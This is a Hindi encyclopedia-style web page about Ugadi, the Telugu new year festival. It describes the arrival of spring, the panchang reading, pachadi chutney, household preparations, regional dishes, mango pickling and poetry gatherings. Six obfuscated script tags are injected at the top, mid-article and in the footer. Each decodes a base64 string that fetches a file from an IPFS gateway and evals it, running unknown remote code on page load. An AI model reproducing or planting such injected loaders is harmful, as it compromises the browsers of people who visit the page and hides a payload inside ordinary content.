उगड़ी  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उगड़ी

मान्यता है कि ब्रह्मा ने जिस दिन संसार की रचना का कार्य प्रारम्भ किया था। उस दिन को उगड़ी कहते हैं। तेलुगु नववर्ष उगड़ी दिन होली के आस–पास ही होता है। जैसे ही होली के गाढ़े रंग फीके पड़ते हैं, वसन्त का नवोत्साह सभी वस्तुओं में नवजीवन और हर्ष भर देता है। अग्नि की लपटों के रंग के समान गुलमोहर व अमलतास के लाल पुष्प अपनी यौवनावस्था में होते हैं तथा प्रचुरता भरी ऋतु का संवरण करते हैं। ऐसे मधुर प्राकृतिक वातावरण में मनाई जाती है—उगड़ी।

तेलुगु वर्ष का आरम्भ चैत्र मास के शुक्ल पक्ष की प्रतिपदा से होता है, इसे वर्ष "प्रतिपदा", "उगड़ी" या "उगादि" भी कहा जाता है। महाराष्ट्र में इस 'गुड़ी पड़वा' कहा जाता है। उगड़ी या उगादि का शुद्ध रूप 'यूगादि' है। यह आंध्र प्रदेश का मुख्य व महान् पर्व है। जिसमें दीपावली जैसी धूमधाम, व्यस्तता एवं हर्षातिरेक के दर्शन होते हैं। युगादि या उगड़ी वस्तुतः फ़सलों के पकने एवं फल–फूलों से वृक्षों के लदने का समय है। यह बसन्त ऋतु का समय होता है। जब आम के पेड़ों में बौर आने लगते हैं और प्रकृति सब ओर प्रसन्नता लुटाती फिरती है।

बसन्त का आगमन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बसन्त ऋतु के आगमन के साथ ही चहुंओर नवजीवन प्रस्फुटित हो उठता है। अब तक बाँझ पड़े पेड़–पौधे जीवंत हो उठते हैं तथा उनकी टहनियाँ व पत्र लहलहा उठते हैं। बसन्त वर्ष की प्रथम ऋतु है, इसलिए यह नववर्ष तथा नवकार्यों को प्रारम्भ करने वाली है। विकास, समृद्धि व स्वास्थ्य की सूचना देते हरे–भरे खेत, खलिहान जीवन में स्फूर्ति व उत्साह भर देते हैं। उगड़ी के आगमन के साथ ही, प्राकृतिक रूप से सुगन्धित मोतियों के फूल चारों ओर अपनी मीठी महक फैला देते हैं। प्रकि के इस सृजन का सम्भवतः प्रकृति में ही कोई मेल नहीं। मोतियों की बड़ी–बड़ी घर में व मन्दिरों में भगवान को पहनाई जाती हैं। ये पुष्प गुच्छ, स्त्रियों के बालों के जूड़े में और भी मनमोहक प्रतीत होते हैं।

पंचांगस्रवनम् की परम्परार

उगड़ी या उगादी पर्व की एक दूसरी विशेषता है—पंचांगश्रवण ! इस दिन सभी लोग सामूहिक रूप से एकत्र होते हैं, जहाँ पर पंडित द्वारा वर्ष का पंचांग सुनाया जाता है। जिसमें नये वर्ष की सम्भावनाओं तथा आशंकाओं एवं शुभ–अशुभ संकेतों पर प्रकाश डाला जाता है। इसमें व्यक्तिगत नहीं अपितु सम्पूर्ण राष्ट्र एवं समाज के सम्बन्ध में आगामी वर्ष का संकेत दिया जाता है, कि नये वर्ष में क्या–क्या होगा? उगड़ी पर वर्ष का नाम भी रखा जाता है। यहाँ साठ वर्ष का एक चक्र माना जाता है। जिसमें प्रत्येक वर्ष का नाम होता है। इसी नामकरण में वर्ष की सम्भावनाओं व आशंकाओं के संकेत बताए जाते हैं। चन्द्रमा के सौरमण्डलीय कक्षा परिवर्तन के साथ ही हिन्दू नवचन्द्र वर्ष उगड़ी प्रारम्भ हो जाता है। इस अवसर पर मंत्रोच्चारण आयोजित किया जाता है तथा नववर्ष की भविष्यवाणी की जाती है। परम्परानुसार पंचांगस्रवनम् या वार्षिक तिथि अंक, श्रवण मन्दिरों में या नगर चौक पर किया जाता था। आधुनिक युग में टेलीविजन के माध्यम से लोग अपने घरों में ही पंडित–विद्वानों के वचन सुन सकते हैं।

स्वादिष्ट व्यंजन

इस ऋतु में कच्चे आम की सुगन्ध तथा निबौरी से भरे नीम के वृक्ष सम्पूर्ण वातावरण को अपने रस से सराबोर कर देते हैं। ताजा गन्ने के रस से बना गुड़, उगड़ी से जुड़े विशेष भोज्य पदार्थों में नवशक्ति का संचालन करता है।

पचादि चटनी

'उगड़ी—पिछड़ी' नामक स्वादिष्ट व्यंजन उगड़ी पर्व का पर्याय बन गया है। जिसे "पचादि चटनी" कहते हैं। यह नये गुड़, कच्चे आम के टुकड़े, नीम के पुष्प तथा ताजा इमली से बनाया जाता है। इसमें नमक भी डालते हैं। इसके बाद इसे पीसकर एक बर्तन में रख लिया जाता है और परिवार के सभी लोग ज़रूरत के अनुसार इसका स्वाद लेते हैं। चटनी में नीम की कोपलें मिलाने का तात्पर्य यह है कि जीवन मीठा ही नहीं, उसमें कटुता भी है। बिना कटुता सहन किए जीवन का स्वाद नहीं मिल सकता। नया वर्ष शुरू हो रहा है, पर उसकी कटुताओं को सहन करने के लिए भी तैयार रहना चाहिए। चटनी इस बात की अनुभूति कराती है। इस भोज्य पदार्थ को बनाने की महत्ता यह है कि जीवन शुभ व अशुभ, प्रसन्नता व दुःख का मिश्रण है तथा इन सभी के साथ समान रूप का व्यवहार करना चाहिए। सभी अनुभवों का स्थितप्रज्ञ भाव से सामना करना चाहिए। प्रत्येक को यह प्रतिज्ञा करनी चाहिए कि उस वर्ष में जो भी कुछ होगा, उसका शान्त भाव से सामना करेगा तथा प्रत्येक क्षण का स्वागत गरिमा से करेगा। वह प्रत्येक अनुभव को स्वयं के लिए शुभ मानेगा। मनुष्य को सुख–दुख सफलता–असफलता से ऊपर उठना चाहिए। यही उगड़ी का प्राथमिक व महत्त्वपूर्ण संदेश है।

उगड़ी का स्वागत

दक्षिण भारतीयों की एक विशिष्ट परम्परा है कि ये कोई भी कार्य प्रायः एक सुनिश्चित् विधिविधान के आधार पर ही करते हैं। कोई भी शुभ संस्कार हो, अनुष्ठान हो, घर से बाहर प्रस्थान करना हो, भोजन निर्माण की प्रक्रिया हो, उसे परोसने या खाने का क्रम हो, सब कुछ नियमबद्ध होता है। इनके प्रतिदिन के कार्यक्रमों पर दृष्टि डालें तो, हमें रोज़ ही पर्व होने का आभास होता है। ऐसे अनेक कार्य हैं जो विशेषरूप से किन्हीं उत्सवों, आयोजनों में ही किए जाते हैं। यथा घर-आँगन, पूजागृह को साफ़ करना, उनकी सजावट करना, गीत–संगीत के साथ 'रंगोली काढ़ना' तेल के दीपक जलाना, स्वच्छ वस्त्र पहनना, सुहागिनों व कन्याओं के बालों को विविध रूप में गूँथकर उनमें सुगन्धित पुष्पों के गजरे रखना, तिलक लगाकर मन्दिर में दर्शन करना और तरह–तरह के व्यंजन तैयार करना।

उगादि पर्व मनाने की तैयारियाँ

उगड़ी

उगड़ी या उगादि पर्व मनाने की तैयारियाँ एक सप्ताह पूर्व ही प्रारम्भ हो जाती हैं। घरों को पूर्ण रूप से धोया जाता है। नववस्त्र व अन्य वस्तुओं का क्रय, जिनकी इस त्यौहार में आवश्यकता है। ये सब बड़े ही उत्साह से किया जाता है। उगड़ी के दिन लोग उषाकाल में ही जग जाते हैं तथा सिर से स्नान करते हैं। लोग अपने घर के प्रवेश द्वारों को आम के ताजा पत्रों से सजाते हैं। आम पत्रों को टांगने के पीछे एक पौराणिक कथा है-
भगवान शिव पार्वती के दो पुत्रों, कार्तिकेयगणेश को आम बहुत अच्छे लगते थे। कथानुसार कार्तिकेय ने लोगों का आह्वान किया कि वे कृषि प्रचुरता व उसकी भलाई के लिए आम के हरे पत्र द्वार पर बाँधें। लोग अपने घरों के आगे गोबर पानी का लेप करते हैं तथा उसके सूख जाने पर इसके ऊपर विभिन्न रंगों की पुष्प आकृतियाँ बनाते हैं। लोग प्रभु का आशीर्वाद पाने के लिए भिन्न–भिन्न धार्मिक कर्मकाण्ड करते हैं। इसके पश्चात् ही वे नववर्ष का प्रारम्भ करते हैं। वे अपने स्वास्थ्य, सम्पत्ति, समृद्धि तथा व्यवसाय में सफलता की प्रार्थना करते हैं। नया व्यवसाय या कोई अन्य कार्य प्रारम्भ करने के लिए भी यह दिन सर्वोत्तम है।

उगड़ी समारोह

धार्मिक उल्लास व सामाजिक प्रसन्नता उगड़ी के पर्याय हैं। इस दिन विशेष व्यंजन बनाए जाते हैं। यह पर्व महाराष्ट्र, कर्नाटकआंध्र प्रदेश में विशेष उत्साह के साथ मनाया जाता है। आंध्र में इसे उगड़ी और कर्नाटक व महाराष्ट्र में इसे गुड़ीपड़वा कहा जाता है। आंध्र प्रदेश में कई प्रकार के भोज्य पदार्थ इस अवसर के अनुकूल माने जाते हैं। जैसे – "पुली होरा", "बोब्बात्लू" तथा "आम से बनी वस्तुएँ।" कर्नाटक में भी समान रूप से ये वस्तुएँ बनाई जाती हैं। परन्तु इन्हें "पुलिगुरे" व "होलीगे" कहा जाता है। महाराष्ट्र वासी "मीठी रोटी" या "पूरन पोली" पकाते हैं। आमग्रीष्म ऋतु का अच्छा समन्वय है। उगड़ी ग्रीष्म ऋतु के आगमन की सूचना देता है। इस समय विद्यालयों का अवकाश रहता है। किशोर व बच्चों के लिए उगड़ी का अर्थ है नए वस्त्र, स्वादिष्ट भोजन तथा मौज–मस्ती। सम्पूर्ण वातावरण हर्षोल्लास व रोमांच से भर जाता है। कुछ लोग सामुदायिक सभाओं में भाग लेते हैं तथा सायंकाल के शान्त वातावरण में संगीत का आनन्द लेते हैं।

अचार का मौसम

चूंकि कच्चे आम पूरे दो मास[१] में प्रचुरता से उपलब्ध होते हैं, इसीलिए आंध्रवासी इनका सदुपयोग इस प्रकार से करते हैं कि इनसे बनी वस्तु आगामी ऋतु तक खाने योग्य रहे। आम का अचार, नमक, पिसी हुई सरसों व सूखी लाल मिर्च के मिश्रम से बनाया जाता है तथा इसमें अत्यधिक तेल डाला जाता है। इसको "अवकई" कहते हैं तथा इसका उपयोग पूरे एक वर्ष तक किया जाता है।

उगड़ी और साहित्य सम्मेलन

तेलुगु उगड़ी के अवसर पर कवि सम्मेलन एक विशेष स्थान रखता है। साहित्य प्रेमियों के लिए उगड़ी का कवि सम्मेलन बड़ी प्रतिक्षा के बाद आता है। कविगण अपनी नवीन रचनाएँ प्रस्तुत करते हैं। इन रचनाओं का कथ्य स्वयं उगड़ी उत्सव या राजनीतिक भी होता है। आधुनिक विचार, रहन–सहन की बदलती जीवन शैली को भी इन रचनाओं में बड़ी ख़ूबसूरती से व्यक्त किया जाता है। उगड़ी कवि सम्मेलन में नये उभरते कवि भी भाग लेते हैं व यश प्राप्त करते हैं। इस सम्मेलन का सीधा प्रसारण हैदराबाद के "आल इंडिया रेडियो" के माध्यम से किया जाता है। दूरदर्शन पर यह कवि सम्मेलन पंचांगस्रवनम् के बाद देखा जा सकता है। उगड़ी मंच पर सभी प्रकार के कवि आते हैं। इनकी कविताओं का मूल भाव राजनीतिक, हास्यसम्बन्धी, व्यंग्यात्मक, साहित्यिक या पीड़ा को शब्द देना होता है। इस प्रकार (उगड़ी) अनेक रंगों का पर्व है। यह नववर्ष फ़सलों के रूप में नये–नये खाद्यान्न प्रदान करता है और सभी के हृदय में आनन्द व सन्तोष की भावना भर देता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=उगड़ी&oldid=597678" से लिया गया